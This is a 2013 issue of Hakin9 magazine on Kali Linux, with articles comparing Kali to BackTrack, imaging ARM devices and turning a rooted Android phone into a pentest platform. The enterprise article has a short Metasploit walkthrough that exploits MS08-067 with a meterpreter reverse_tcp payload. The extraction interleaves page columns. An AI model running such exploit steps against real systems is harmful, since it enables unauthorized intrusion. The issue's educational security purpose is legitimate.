Guide To Kali Linux PDF

“We specialize in Information
Security Solutions including

Penetration Testing, Forensic
Analysis and Computer
Investigations to a diverse
range of clients worldwide”
Cyber Investigations N.I. Ltd.
Northern Ireland Science Park For a free security

Queens Road consultation, then please
Queens Island
contact us by either mail
Belfast BT3 9DT
United Kingdom or phone and one of our
security experts will be
Email: happy to assist you.
info@cyberinvestigationsni.com
Telephone:
+44(0)28 9079 6983
Please visit us on: www.cyberinvestigationsni.com

PRACTICAL PROTECTION IT SECURITY MAGAZINE
Dear Readers,
A long with the Autumn here it comes the comprehen-

sive ‘Guide to Kali Linux’. In the following issue we will
focus on this popular, yet still-much-to-discover pentest-
team
Editor in Chief: ing tool.
Julia Adamczewska
julia.adamczewska@hakin9.org
So we will start with the Basics and see what’s new
Editorial Advisory Board: in Kali Linux comparing to BackTrack and also we will
Hans van Beek, Peter Harmsen, Casey Parman
browse the set of new and updated tools in the article ‘Kali
Proofreaders: Julia Adamczewska, Krzysztof Linux for Enterprises’.
Samborski
Special thanks to our Beta testers and Proofreaders The Attack section is full of great tips for pentesters
who helped us with this issue. Our magazine would (and not only), so they can see how to weaponize the an-
not exist without your assistance and expertise.
droid platform and also perform the attack on servers.
Publisher: The Defense section contains a great paper on deploy-
Paweł Marciniak
ing network vulnerability scanners for medical clients and
CEO: presents an interesting view on Kali scanning. There is
Ewa Dudzic
ewa.dudzic@hakin9.org
also a fine overview on Kali as a tool for both good and
bad purposes.
Product Manager:
Krzysztof Samborski
krzysztof.samborski@hakin9.org
We are sure you will find a lot of helpful information in
the whole issue.
Production Director:
Andrzej Kuca
andrzej.kuca@hakin9.org
Hakin9’s Editorial Team would like to give special
Marketing Director:
Julia Adamczewska thanks to the authors, betatesters and proofreaders.
julia.adamczewska@hakin9.org
Art. Director:
We hope our effort was worthwhile and you will find the
Ireneusz Pogroszewski Hakin9 Guide to Kali Linux issue appealing to you. We
ireneusz.pogroszewski@software.com.pl wish you a nice read!
DTP:
Ireneusz Pogroszewski
Julia Adamczewska
Publisher: and the Hakin9 team
Hakin9 Media Sp. Z o.o. SK
02-676 Warszawa, ul. Postępu 17D
NIP 95123253396
Phone: 504927626
www.hakin9.org/en
Whilst every effort has been made to ensure the

highest quality of the magazine, the editors make no
warranty, expressed or implied, concerning the results
of the content’s usage. All trademarks presented in the
magazine were used for informative purposes only.
DISCLAIMER!
The techniques described in our magazine
may be used in private, local networks only.
The editors hold no responsibility for the
misuse of the techniques presented or any
data loss.
4 Extra 03/2013
CONTENTS
BASICS
Kali Linux – What’s new? 06 DEFENSE
By Steven McLaughlin, Security Researcher Kali Scanning for HIPAA – A Proof of
Kali Linux released earlier in the year is dubbed the Concept: using Kali Linux to deploy
most advanced penetration testing distribution, ever. distributed network vulnerability
How does it compare to BackTrack?, and: What’s the scanners for medical clients 34
difference? By Charlie Waters, Security Officer and Senior
Consultant for Infinity Network Solutions
Kali Linux for Enterprises 10 The Health Insurance Portability and Accountability
By Navneet Sharma, Information Security Analyst Act of 1996 (HIPAA) requires organizations who han-
Whenever we think of Penetration Testing (PT) the first dle electronic Protected Health Information (e-PHI) to
name that comes to our mind is “Backtrack (BT)”, which take action and reduce risk relative to potential security
we have been using for the last few years. Backtrack, breaches of digital communication and storage of pa-
funded by offensive Security (www.offensive –Security. tient information. Open Source solutions can be lever-
com), is also one of the most popular UBUNTU Linux aged as a low-cost and effective strategy to minimize
based platform, with collection of organized security risk when used as component of a larger information
testing tools such as Open-VAS, maltigo, Metasploit security program. With a long “track” record of commu-
Framework (MSF), etc. Last release to Backtrack series nity support, Kali is an open source Linux distribution
was Backtrack 5 R2 with codename Revolution. containing many security tools to meet the needs of
Kali Linux is the latest linux distribution made for pen- HIPAA network vulnerability scans.
etration testing by and used by security assessors and
hackers. Kali Linux is also considered as a successor KALI LINUX
to Backtrack. – A Solution to HACKING/SECURITY 40
By Deepanshu Khanna, Linux Security Researcher
ATTACK Today is the world of technology and everyone some-
Weaponization of Android Platform how is attached to it. Some are using the technology for
using Kali Linux 16 the good purpose and some are using it for bad purpos-
By Daniel Singh, Independent Consultant in network es and Internet is one of those technologies which de-
and systems security fine both my statements. Internet is being used both by
Kali Linux has become the most popular tool for pro- the good (the White Hats) and the bad (the Black Hats).
fessional penetration testing and security auditing. In So, my paper is totally based on the above line that the
this article, we will review how to couple the functional- OS (Operating System) KALI LINUX (which is an exten-
ity of Kali Linux with Android platform over HTC One X sion to Backtrack) can be used in both the ways either
smartphone to create an invincible penetration-testing for good or bad.
weapon.
Kali Linux, Attacking Servers 24

By Ismael Gonzalez D., Security Researcher, CEH,
MCP, MCDTS, MCSA, LPIC-1
This article will show you how to perform attacks on web
servers, getting full access to the system and database.
Just by using some of the ‘Top Ten’ tools of Kali Linux.
Hands On: How to Create “Backdoor”

to Remote Access with Kali Linux,
DNS Spoofing Attack with Ettercap
and Cloning Sites with Kali Linux 28
By Rafael Fontes Souza, Co-Founder at Grey Hats,
member of the “French Backtrack Team”
The three articles describe very useful tools in Kali and
cover the ideas of creating backdoor, how to perform
the spoof attack and how to clone websites with SET
Attack Method.
www.hakin9.org/en
BASICS
Kali Linux
– What’s new?
Kali Linux released earlier in the year is dubbed the most

advanced penetration testing distribution, ever. How does it
compare to BackTrack?, and: What’s the difference?
F
or some years BackTrack linux has been ally, I definitely prefer the Debian base for Kali as I
the premier pen-test distribution. The new- like to tweak. This distribution is not for linux begin-
est pen-test distribution released by Of- ners in any case.
fensive Security which supersedes BackTrack
comes with some massive and welcome im- What Happened to Firefox?
provements. The biggest change from BackTrack One of the first things I notice is that Firefox has
is the move from Ubuntu linux to Debian Wheezy been replaced by Iceweasel. On first instance
linux. The first thing I notice is that the installa- this might leave you wondering what Iceweasel is
tion is no longer launched by executing a script and why it has replaced Firefox. The truth is that
on the Desktop as it was with BackTrack, but is Iceweasel IS Firefox. The Debian project patch-
initiated but booting into a proper Debian instal- es Iceweasel by backporting security fixes, thus
lation system. The process generally feels a lot making it secure enough to be declared in debi-
smoother from the start. I have also noticed that an stable version. Because this is the case they
in general Kali doesn’t break as easily as Back- had to re-brand it Iceweasel as the modifications
track and it generally has a much more stable made by Debian project were not approved by the
feel to it. So what’s the difference between Back- Mozilla foundation in order to use the Thunder-
Track and Kali? burd logo. Other than backported security patch-
es and the logo, both Firefox and Iceweasel are
BackTrack 5 v Kali identical. I would recommend staying with Ice-
Ubuntu, which BackTrack is based on, has a gen- weasel on Debian, but if you really want to use
eral feel to it that it is trying to babysit you as the Firefox you can install it in the following manner
user, which can be annoying to an experienced by first uninstalling Iceweasel (Listing 1).
linux user. Ubuntu likes to make everything user
friendly and tries to cut out any complex configu- FHS-compliance and /pentest
rations. Debian, which Kali is based on, may not Another massive step in the right direction is FHS-
come across to be so ‘user friendly’ to someone compliance. File Hierarchy Standard (FHS) compli-
who is not that experienced with linux, and re- ance specifies guiding principles for each part of the
quires more hands on experience with linux, but file system, and means that the directory structure
is generally more configurable and stable. Person- and file system is standardised such that software
6 Extra 03/2013
Kali Linux – What’s new?
and users can easily find the location of installed now in PATH and can now be fired up from any-
files such as binaries and libraries. This will also where in the system. I certainly don’t miss the /
lead to a more stable system in general. pentest directory. This certainly makes life a whole
In BackTrack, every pen-test tool which you lot easier.
wanted to use you either had to express the full
pathname to the tool e.g. /pentest/passwords/ No Nessus
rainbowcrack/rcrack or change to the directory in Nessus does not come installed with Kali and is
order to use it. Kali no longer uses the /pentest di- not available in the Kali repositories. One reason
rectory tree, and all command line pen-test tools for this could be that Kali linux is based on Debi-
seem to be located in /usr/bin. Pen-test tools are an Wheezy (Debian 7), however if you check the
available downloads from the tenable website,
they have only released a version of Nessus for
Listing 1. How to install Firefox
version 6 of Debian. Another reason for this may
echo “deb http://downloads.sourceforge.net/ be because Nessus is more of an audit and com-
project/ubuntuzilla/mozilla/apt all main” pliance benchmarking tool than a pen-test tool,
>> /etc/apt/sources.list and perhaps it was thought too bloated to include.
apt-get remove iceweasel Nessus is certainly something I see more of in-
apt-key adv –recv-keys –keyserver stalled on dedicated servers these days. Howev-
keyserver.ubuntu.com C1289A29 er if you want to install it, the Debian 6 version of
apt-get update Nessus which can be downloaded from the ten-
apt-get install irefox-mozilla-build able website will still work. The only other pos-
apt-get install thunderbird-mozilla- sible reason for not including Nessus is that Nes-
build sus is forbidden in the Penetration Testing with
BackTrack(PWB) Course (which will probably
a d v e r t i s e m e n t
www.hakin9.org/en 7
BASICS
get a new name now because of Kali). Offensive

Security encourages all of its PWB students to On the Web
use more specialised and targeted tools to per- • http://www.pathname.com/fhs/ – Information on
File Hierarchy Standard
form enumeration and discovery. Further, differ- • http://www.ofensive-security.com/information-securi-
ent tools quite often output different results, so it’s ty-training/penetration-testing-with-backtrack/ – Pen-
best to use more highly targeted tools in a penetration Testing with Backtrack Course
test to get specific results rather than the results
of a generalised scan or vulnerability assessment Summary
tool such as Nessus. In summary, Kali linux feels a lot smoother to
work with than BackTrack, whilst most of the
Other Notable Changes tools remain fairly similar or unchanged; the
Kali uses Leafpad instead of gedit which is a much main overhaul to be commended on is the over-
lighter weight text editor than gedit. It is also no- all improvement in the quality of the distribution
ticeably faster. But if you want to use gedit it is from the move to Debian. It now feels like a com-
still available in the Kali respository with a simple plete distribution with far less flakiness and a lot
apt-get install gedit. Gedit may appear bloated to more stability. For a duck dive into the pen-test
some unless you are interested in syntax highlight- tools which ship with Kali, I would recommend
ing. Personally I like syntax highlighting, but have doing Offensive Security’s Penetration Testing
a habit of writing all my code in vim from the ter- with BackTrack(PWB) course which will familiar-
minal window which has this functionality anyway ise you with all the tools necessary to conducting
– each to their own I guess. Here’s a list of some a complete penetration test with reporting. The
other welcome changes: main advantage you will notice is that the tools
are now all in path with Kali. The only advice I
• The PDF viewer which was used in BackTrack have in pursuing this course is to get permission
has now been replaced with Document Viewer from your other half, as it will take a good couple
which is great since I found the PDF viewer a of months out of your life, but is extremely fun, ad-
bit lakey. dictive, and rewarding with all the breakthroughs
• You can now easily create your own custom you will have. Well done to the Offensive Security
ISO of Kali by using Debian live-build scripts. Team for creating such an improved distribution,
• Kali comes with VLC player pre-installed which and good luck with your Kali experience.
was not included in BackTrack.
• I’ve also noticed that the ISO image for Kali is
almost 1GB smaller than the BackTrack 5 R3
ISO.
Upgrading to Future versions of Kali

If you had BackTrack 4 installed and wanted to up-
grade to BackTrack 5, the only way you could have
achieved this was to do an entire reinstall. This
would be time consuming, and mean you would
have to re-configure everything back to the way
you wanted it, and customise all your tools again.
With Kali however, an upgrade to future major re-
leases can be done by simply issuing the following
commands: Listing 2.
The Kali repository gets its security packages STeveN MCLAUgHLIN
from the Debian repository, and all of its tools are Steven McLaughlin is an experienced in-
now packaged up to be Debian compliant. formation and network security profes-
sional. With both a technical and consult-
Listing 2. Upgrading Kali to the next major distribution ing background, he has been heavily in-
volved in working with global companies
root@kali:~# apt-get update developing solutions and delivering large
root@kali:~# apt-get dist-upgrade scale projects. He also works in highly spe-
cialized teams in order to develop new ideas and patents and
bring new products to market.
8 Extra 03/2013
BASICS
KALI Linux
For enterprises
Whenever we think of Penetration Testing (PT) the first
name that comes to our mind is “Backtrack (BT)”, which we
have been using for the last few years. Backtrack, funded
by offensive Security (www.offensive –Security.com), is also
one of the most popular UBUNTU Linux based platform,
with collection of organized security testing tools such
as Open-VAS, maltigo, Metasploit Framework (MSF), etc.
Last release to Backtrack series was Backtrack 5 R2 with
codename Revolution.
K
ali Linux is the latest linux distribution made curity tools. Kali Linux is designed to support both
for penetration testing by and used by secu- 32-bit and 64-bit platform and ARM Architecture.
rity assessors and hackers. Kali Linux is al-
so considered as a successor to Backtrack. Back- evolution of Kali Linux
track was based on Ubuntu Distribution (www. When Backtrack was initially developed by Offen-
ubuntu.com) whereas Kali Linux complies with sive-Security, with consideration in mind to con-
debian development standards (www.debian.org). duct network based Vulnerability Assessment and
Building Kali Linux was something like Re-In- Penetration testing. They started releasing BT ver-
venting the wheel again. Kali Linux was built from sions with their name, as depicted on (Figure1).
scratch, to support under the Debian platform and When BT 3 was released, it was released with
also to make it compatible with new or existing se- codename “Whydah” and added functionality and
tools to conduct wireless testing. BT 4 released
with Codename “Pwnsauce” and “Nemisis”, with
added functionality of web application testing and
with more advanced and improved GUI based in-
terface. And with continuation to BT 5 R2 with se-
curity tools update like BeeF(Browser Explotation
Frwamework), bluelog, dnschef, dpscan, etc.
Kali Linux is considered an enterprise ready solu-
tion, because it considered enterprise users when
it was designed. Kali runs on a Debian platform,
which supports many software repositories to keep
updating OS with latest releases and patch. This
capability reduces updating problem, which users
were facing on BT environment.
Also Offensive security team up with Rapid 7
(Makers of Metasploit Framework), to provide offi-
cial support to Kali Linux. So MSF (most important ar-
Figure 1. Evolution of Kali Linux senal of BT) was rebuildt to support Debian platform.
10 Extra 03/2013
KALI Linux (For enterprises)
Development Architecture Samsumg galaxy Note 10.1

Kali Linux supports various Reduced Instruction Of course the popular one and most people have
set Computing (RISC) based development archi- it. Also attract pentesters to build image for this.
tecture. Kali ARM can be made for: Kali also listed down its procedure to make image
for Galaxy note 10.1. Galaxy note 10.1 has follow-
• EikaMX ing specification:
• Beaglebone Black
• CuBOX • 1.4 GHz Quacore processor
• Galaxy Note 10.1 • 2 GB RAM
• Samsung Chromebook
• MK/SS808 Steps to build image for Samsung Note (Steps as
• ODROID U2 per Kali Linux.org website)
• Raspberry Pi
• ARM Chroot • Step 1: Get 8GB micro SD Card
• Step 2: Root the Samsung Galaxy Note 10.1
Let’s discuss here few of them, how these ARM’s • Step 3: Download Kali Linux for Samsung gal-
can be used for Kali Linux. axy Note 10.1
• Step 4: Rename the image to linux.img
eikaMX • Step 5: Download Recover.img ile from down-
Efika is a line of power efficient ARM architecture and load section of Kali Linux.orf and copy it on
Power architecture. EfiKa MX Open Client is a net- your Note 10.1 sdcard
work computer based around the EFIKA MX micro- • Step 6: use dd utility to image this ile to SD card
mother board. EfikaMX has following specifications:
root@kali:~ dd if =/dev/block/mmcblk0p6
• Freescale i.MX515 (ARM Cortex-A8 800MHz) of=recovery.img_orig
• 3D Graphics Processing Unit • Step 7: Reboot Galaxy note 10.1 to recovery
• 512 MB RAM mode, press Power Off and Volume UP button.
• 8GB USB Once you see the text for “Samsung Galaxy
• 2x USB 2.0 ports Note 10.1”, release the power button but keep
• Audio jacks for headset pressing the Volume UP button. This should
• Built in Speaker boot into Kali and auto Login into Gnome. Root
• Bluetooth (Broadom 2043) Password is “Changeme”
• Step 8: Open Keyboad: Applications -> Univer-
Steps to build image by EikaMX sal Access -> Florence Virtual Keyboard
• Step 1: Get 8GB micro SD Card, class 10 high- Note: development architecture referenced from
ly recommended http://docs.kali.org/category/armel-armhf.
• Step 2: Download Kali image
• Step 3: use dd utility to image this ile to SD card Directory Structure
As Kali is successor to Backtrack, so most of its fea-
root@kali:~ dd if =kali-1.0.1-eimx.img of=/dev/sdb tures are inherited from backtrack. Like Backtrack,
bs=512k
Beaglebone Black
Beaglebone boards are tiny computers with all ca-
pability of today’s desktop machine without bulk
noise, expense or noise.
Steps to build image using Beaglebone:
• Step 1: Get 8GB micro SD Card, class 10 high-

ly recommended
• Step 2: Download Kali Linux Beaglebone
• Step 3: use dd utility to image this ile to SD card
root@kali:~ dd if =kali-bbb.img of=/dev/sdb bs=512k Figure 2. Directory Structure
www.hakin9.org/en 11
BASICS
Kali tools are also divided into 12 categories (Fig- • Reverse Engineering
ure 2): • Forensics
• Reporting Tools
• Information Gathering
• Vulnerability Analysis Remembering Backtrack 5, penetration direc-
• Web Applications tories are organized in under /pentest directory.
• Password Attacks But in Kali Linux doesn’t store security tools un-
• Wireless Attacks der pentest directory, commands are generally ex-
• Stress Testing ecuted from /usr/sbin (Figure 3).
• Exploitation Tools Another important category of tools added in Kali
• Snifing/Snooping Linux are “TOP 10 Security Tools” which are fre-
• Maintaining Access quently used by pentesters, as presented Figure 4.
Offensive security has also put lots of effort to
make Kali enterprise ready solution by adding
more tools in Kali. Researchers most of the time
used backtrack for “MSF” and to do other stuff,
they depend on other penetration testing distro’s
or they make their OWN ISO or install on their own
operating system. (Figure 4) shows the compari-
son between Backtrack and Kali (Figure 5).
Figure 3. Kali Vs. Backtrack: Change in Directory Structure
Figure 4. Kali Linux “Top 10 Security Tools” Figure 6. Opening metaspoloit with msfconsole command
Figure 5. Tool Comparison between Kali and Backtrack
12 Extra 03/2013
KALI Linux (For enterprises)
Let’s do some Practical things with Kali to the service not properly handling specially crafted
As we know the famous vulnerability in Windows- RPC requests. An attacker who successfully exploited
XP “MS08-067: Vulnerability in Server Service this vulnerability could take complete control of an af-
could allow Remote-Code execution” fected system.
Some Brief about the vulnerability Reference to the vulnerability

Remote code execution vulnerability exists in the Serv- http://technet.microsoft.com/en-us/security/bulle-
er service on Windows systems. The vulnerability is due tin/ms08-067.
System exploited successfully

Windows XP Service PACK-2.
Steps followed to exploit the vulnerability (Figures

6-9). Steps explained in a nutshell.
Step 1: Open MSF Console

msfconsole
Figure 7. Searching exploits for netapi
Figure 8. Setting up exploit, adding required variables, and exploiting the target
Figure 9. Verifying exploited system
BASICS
References
• http://en.wikipedia.org/wiki/BackTrack – for Backtrack in a NutShell
• http://www.ofensive-security.com/tag/kali-linux/ – for all post on Kali Linux about installation and managing
• http://www.kali.org/ – for introduction to Kali
• http://docs.kali.org/category/armel-armhf – for Kali Linux ARM Architecture also for creating ARM images on Eika-
MX, Beaglebone etc.
• http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/ – For Oicial introductory release of Backtrack 5
• http://www.h-online.com/open/news/item/Kali-Linux-arrives-as-enterprise-ready-version-of-BackTrack-1822241.html
– For Story behind building Kali Linux for enterprises
• http://www.ofensive-security.com/kali-distribution/kali-linux-on-galaxy-note/ – For deeper look of Kali Linux instal-
lation on Galaxy Note
• https://wiki.debian.org/EikaMX#What_is_EikaMX.3F – For Introduction of EFIKAMX chipset
• http://www.infosecisland.com/blogview/22236-Backtrack-5-r3-List-of-Some-of-the-New-Tools-and-Programs.html –
For introduction to new tools added to BackTrack
• http://www.beagleboard.org – Introduction to BeagleBone Chipset and it’s working
• http://www.backtrack-linux.org/ – All about BackTrack and it’s feature.
Step 2: Search for exploit “netapi”, • Open ile from /etc/apt/sources.list (Some
use command “search netapi” sources path already present there, but more
can be added from Google)
Step 3: Configure the exploit for execution to • apt-get update
target • apt-get upgrade
Use following commands to exploit target • apt-get dist-upgrade
• Use exploit/windows/smb/ms08_067_netapi Summary

• Set payload windows/meterpreter/reverse_tcp Kali Linux a Debian based platform for advanced
• Set lhost <your machine IP> penetration testing. Kali approach is good try for
• Set rhost <Remote IP> stepping ahead into next generation of penetration
• exploit testing. Researchers and developers of offensive
security have put their best effort to make Kali plat-
Step 4: exploit run Successfully, Run vNC form enterprise ready. As Debian being the older
platform for Linux, it also has a large user base
Kali Linux installation and Software compared to UBUNTU. Debian based Operating
repositories system has also good market capture so move-
Installation ment from Ubuntu to Debian platform will definitely
give power to end users.
• Download VMPlayer or VMware workstation At last KALI is enterprise focused, developed
from Vmware website as per yours operating keeping in mind enterprise needs, so there is much
system more to evolve in near future. So good luck to Of-
• Install on the VMPlayer or VMWare on your fensive Security team!
platform Keep Learning and Be Secure!
• Create Virtual machine (With min 20 GB Hard
disk Space, 1GB RAM, Two Network Adapter,
rest all by default)
• Mount KALI ISO ile on the VMWARE setting NAvNeeT SHARMA
• Switch on the Virtual machine and boot it from Navneet Sharma is a Solution Architect
“CD-ROM” by pressing “ESC” with Tata consultancy services, working in
• Once GRUB Appear, and then click on the in- domain of information security and net-
stall (or it can be used as a LIVE CD) work security. He holds a degree of Bache-
• Follow the instruction as written on screen lor of Technology in Information Technol-
(Similar to backtrack installation) ogy and has worked in diverse range of in-
• Finish the installation dustry verticals over the last 7 years of his
career. Some key assignment that he has been involved in in-
Update Kali clude network security design and consulting, security audit-
ing (Application/Network), Vulnerability Assessment and Pen-
• Open leafpad etration Testing.
14 Extra 03/2013
A BZ Media Event
Big Data gets real

at Big Data TechCon!
Discover how to master Big Data from real-world practitioners – instructors
who work in the trenches and can teach you from real-world experience!
Come to Big Data TechCon to learn the best ways to:

• Collect, sort and store massive quantities • Learn HOW TO integrate data-collection
Over 60
of structured and unstructured data technologies with analysis and
business-analysis tools to produce
• Process real-time data pouring into how-to sses the kind of workable information
l cla
your organization
practicautorials and reports your organization needs
• Master Big Data tools and technologies and t ose
to ch o • Understand HOW TO leverage Big Data
like Hadoop, Map/Reduce, NoSQL from! to help your organization today
databases, and more
“Big Data TechCon is loaded with great networking

opportunities and has a good mix of classes with technical
depth, as well as overviews. It’s a good, technically-focused
conference for developers.”
—Kim Palko, Principal Product Manager, Red Hat
“Big Data TechCon is great for beginners as well as

advanced Big Data practitioners. It’s a great conference!”
—Ryan Wood, Software Systems Analyst, Government of Canada
San Francisco
“If you’re in or about to get into Big Data, this is the October 15-17, 2013
conference to go to.”
—Jimmy Chung, Manager, Reports Development, Avectra www.BigDataTechCon.com
The HOW-TO conference for Big Data and IT professionals
Big Data TechCon™ is a trademark of BZ Media LLC.

ATTACK
Weaponization of
Android Platform using
Kali Linux
Kali Linux has become the most popular tool for
professional penetration testing and security auditing.
In this article, we will review how to couple the
functionality of Kali Linux with Android platform
over HTC One X smartphone to create an invincible
penetration-testing weapon.
T
he global market is flooded, ruled by android- making it the most widely used platform. It is con-
based mobile devices and smartphones. sidered a highly customisable and scalable mobile-
Mobile phones are becoming smaller and based distribution, making it widely accepted foun-
have greater processing power. These devic- dation base for community-driven mobile projects.
es with mobile internet and wireless connectivity
have revolutionised businesses and work method- Android Architecture Overview
ologies. Tasks like connectivity, sharing, process Android devices, built on Linux kernel version 2.6
automation and extensive computing over smart- and the first commercially distribution made avail-
phones have become the norm. The android oper- able on HTC Dream handset in 2008. Since then
ating system has made smartphones and mobile numerous updates have incrementally improved
devices, a very powerful tool in the hands of secu- the operating system base and added new and
rity professionals and even deadlier in the hands improved functionality. The latest official release
of black hats. is Jelly Bean 4.3 with a slogan „An even sweet-
Android is a very popular operating system for er Jelly Bean”. Android’s user interface uses touch
mobile devices such as smartphones and tablets. inputs to correspond to real world actions. These
Initially developed by Android Inc. and then bought responses are immediate, with vibrations and hap-
by Google in 2005. Android is an Open Handset tic feedback capabilities. The Android framework is
Alliance product and released under the Apache very extensive as it has a layered approach. It has
license. The power of Android platform lies in the five layers, the kernel and low-level tools, the na-
thousands of apps running on it, backed by a strong tive libraries, the android runtime with Dalvik virtual
and active open source developer community. Used machine, the framework layer is on top of this and
by 70% of the mobile developer community, thus finally the applications run above everything.
16 Extra 03/2013
Weaponization of Android Platform using Kali Linux
The Linux kernel is written in C/C++ and the plications menu to keep your android device safe
framework is written in java and runs on Dalvik vir- from such tampering (Figure and Table 1).
tual machine. The present kernel is 3.0.x and has
added support for Bluetooth and Wi-Fi encryption. Table 1. List of available Android App Stores
Android is built to run on devices with little main Sl # Apps Market Url
memory and low powered CPU’s. Majority of the 01 Google Play https://play.google.com/store?hl=en
modules are made to consume low power. The ac-
02 Amazon store http://www.amazon.com/mobile-
tual android runtime consists of Dalvik virtual ma- apps/b?node=2350149011
chine and java libraries. All applications in android
03 GetJar http://www.getjar.mobi/
devices run in their own sandboxed Dalvik virtu-
al machines. Each applications runs with its own 04 Slide ME http://slideme.org/
unique user id and in its own process. Android has 05 F-Droid https://f-droid.org/
very efficient memory and power management. 06 Appoke http://beta.appoke.com/
Android has support for various APIs, has media 07 Appia http://appia.com/
framework, integrated internet browser support,
08 App Brain http://www.appbrain.com/
highly optimised graphics, camera, GPS, compass,
and accelerometer sensors. The applications can 09 Android Pit http://www.androidpit.com/
be easily created using SDKs and are available 10 Handango http://www.handango.com/Home.
using the various apps markets. The biggest ap- jsp?siteId=2218
ps market is Google Play where one can find vari- 11 Handster http://www.handster.com/
ous apps in categories and using searches. Apart 12 Mobango http://in.mobango.com/
from the default Google Play, there are many oth- 13 Opera Store http://apps.opera.com/en_in/
er app stores to download and install apps. Table
01 provides a list of widely used open markets, but 14 Soc.io http://soc.io/
make sure not to trust anyone blindly in the present 15 Insyde Market http://www.insydemarket.com/
scenarios of malicious apps and malware threats. 16 AppsFire http://appsire.com/
Always disable USB debugging and uncheck the 17 Aptoide http://www.aptoide.com/
“Unknown sources” option under Settings >> Ap-
Figure 1. Android Architecture, taken from wiki
ATTACK
Introduction to the HTC One X Mobile Exploitation Tools, Sniffing/Spoofing, Maintain-

Phone ing Access, Reverse Engineering, Stress Testing,
The HTC One X smartphone is a pretty power- Hardware Hacking, Forensics, Reporting Tools
ful device with 1.5 GHz, quad core (global ver- and System Services. Kali Linux is running Debian
sion) CPU speed, Android 4.1 with smart sense XFCE and comes with vim as default text editor.
4, screen size of 1280x720 (HD, 720p) with 1GB All the standard applications and accessories are
RAM 16/24 GB Flash Memory and Wi-Fi, Blue- pre-installed and ready to run. For weaponizing
tooth, NFC, USB connectivity and multi-sensors Android platform with Kali Linux, we will require an
(Gyro sensor, G-Sensor, Digital Compass, Proxim- unlocked & rooted device.
ity sensor and Ambient light sensor).
How to unlock the HTC One X Bootloader
Introduction to Kali Linux and Root the device?
Offensive Security the creators of Backtrack Linux It is important to understand the difference be-
have a new catchy tag line “the quitter you become, tween Unlocking the Bootloader and rooting mo-
the more you are able to hear”, with this Zen man- bile devices. Unlocking the Bootloader provides
tra the focus is stealth. Kali Linux was created for the user with the option to change the stock oper-
stealth and attack, this amazing distribution is an ating system on the mobile device. However, root-
advanced and more versatile version of Backtrack ing is the process of modifying or altering the de-
ever created. This distribution is geared towards fault operating system shipped with the device to
professional penetration testers and security audi- gain complete control over it.
tors. Kali has gone beyond any live cd distro and This means that the limitations of carriers and
moved into the category of a full-fledged operat- various manufacturers put on the device is eas-
ing system. It has moved to a solid base of Debi- ily bypassed, extended functionality is accessed
an modules and is completely File Hierarchy Sys- without any problems, custom modules and up-
tem (FHS) compliant. All directories appear under grades can be added without any limitations. Gen-
the main root directory “/”, and have the ability to erally, manufacturers and carriers do not usually
be stored and accessed on physical or virtual de-
vices. The main “/pentest” directory from previous
Backtrack5 release has been removed in this ver-
sion named Kali. Now the user can execute any tool
from anywhere in the file-system, irrespective of its
installed location. The second advantage of Kali is
its support for ARM hardware and ability to boot-
strap the installation directly from the repositories.
Kali operating system has over three hundred
penetration testing tools and wireless device sup-
port. Its kernel is highly patched and network
services are disabled by default making it more
secure. Kali is not just for network security profes-
sionals, beginners can also start learning about
cyber security using this distribution. Whether you
are pentesting wireless, exposing server vulner- Figure 2. Unlock Bootloader
abilities, performing a web application based ex-
ploit, learning, or doing social engineering, Kali is
the one-stop-shop for all security needs. Kali is
free and now ported on Android based smartphone
to be taken anywhere.
Kali Linux has many well-known tools like
Metasploit, Injection capable wireless drivers, Kis-
met, John, Zap Proxy, Nmap, Ophcrack, Ettercap,
Hydra, etc. These tools are all categorised in fif-
teen different categories for various purposes. The
fifteen categories are: Top 10 Security Tools, In-
formation Gathering, Vulnerability Analysis, Web
Applications, Password Attacks, Wireless Attacks, Figure 3. Warranty Void
18 Extra 03/2013
recommend rooting. HTC provides instructions on

their website to unlock the Bootloader for HTC One
X, but by performing this operation, the user voids
all warranty on the device. The systematic instruc-
tions to unlock the Bootloader for HTC One X are
present on the HTC Dev site. Make sure HTC Driv-
ers are installed on the PC and the mobile phone
can connect and be recognised as HTC Device
via USB cable. Once the device gets connected
successfully to the PC, login to the HTCDev web-
site with the registered user name and password.
Start by selecting Unlocking Your Bootloader and
then select “All Other Supported Models” under
the Supported Devices section, click Begin Unlock
Figure 4. Linux Deploy Bootloader to start the wizard.
The website prompts to sign a disclaimer that
clearly states, the warranty is void and proceed-
ing further would mean that every repair would be
charged. The website wizard finishes by request-
ing the device Token ID extracted from the mobile
phone. Then based on the Token ID, HTC releases
the unlock code block to release the mobile de-
vice. The “unlock.bin” file received is, used to flash
the device and the Bootloader gets unlocked. Next
step is to install SuperSu app, which is an access
management tool. Now with root privilege on the
mobile device, Kali Linux can be installed. There
are two methods to install Kali Linux on Android:
• Method 01: Install Kali GUI using Linux Deploy

App,
• Method 02: Install Kali Command Line Inter-
face (CLI) using Chroot Environment.
Method 01: Install Kali gUI using Linux

Deploy App
Requirements: Rooted HTC One X mobile with 4GB
Figure 5. Click Install free space, Linux Deploy App & Android VNC Viewer.
Methodology
• Install Linux Deploy and conigure

these values: Distribution=Kali Linux,
Architecture=armel, VNC: Screen Width=1920, VNC:
Screen Height=1280, (Figure 4-6)
• Scroll up click Install to inish the download and
install of Kali Linux over Wi-Fi,
• After completion, go back to the Settings and
select Reconigure option,
• Once reconiguration is complete, run the serv-
er using the START option,
• Install Android VNC-Viewer and conigure
these values: Nickname=Kali, Set Port=5900,
Password=changeme, Color Options = 4bpp better
Figure 6. Install inish quality video (Figure 7-9).
ATTACK
Click on the Connect button to ire away. Ka-

li Linux GUI will show up. This method effectively
shows to deploy Kali GUI over Android.
Optional 01
Kali distribution can be updated by running the be-
low command from a terminal prompt:
sudo apt-get update && sudo apt-get upgrade &&

msfupdate
Figure 10. Extracted folder containing kali.img
Optional 02
Armitage tool can also be added. Armitage is a
scriptable tool for Metasploit that visualizes tar-
gets, recommends exploits and exposes the ad-
vanced post-exploitation features in the Metasploit
framework. It has many features for discovery,
access, post-exploitation, and manoeuvre, which
makes is more effective. The command to install
Armitage is:
apt-cache search armitage && apt-get install

armitage
Method 02: Install Kali Command Line

Figure 7. Server started Interface (CLI) using Chroot environment
In this method the chroot operation is used to deploy
Kali Linux. The chroot operation changes the root
directory for the current running processes and its
children processes by creating and hosting a sepa-
rate virtualised environment. Any program deployed
using this operation is confined to the defined base
directory. Here the chroot operation is used to setup
the Kali Linux platform for pentesting.
Requirements
Rooted HTC One X mobile device with 6GB free
space, BusyBox free app & Terminal Emulator app.
Methodology
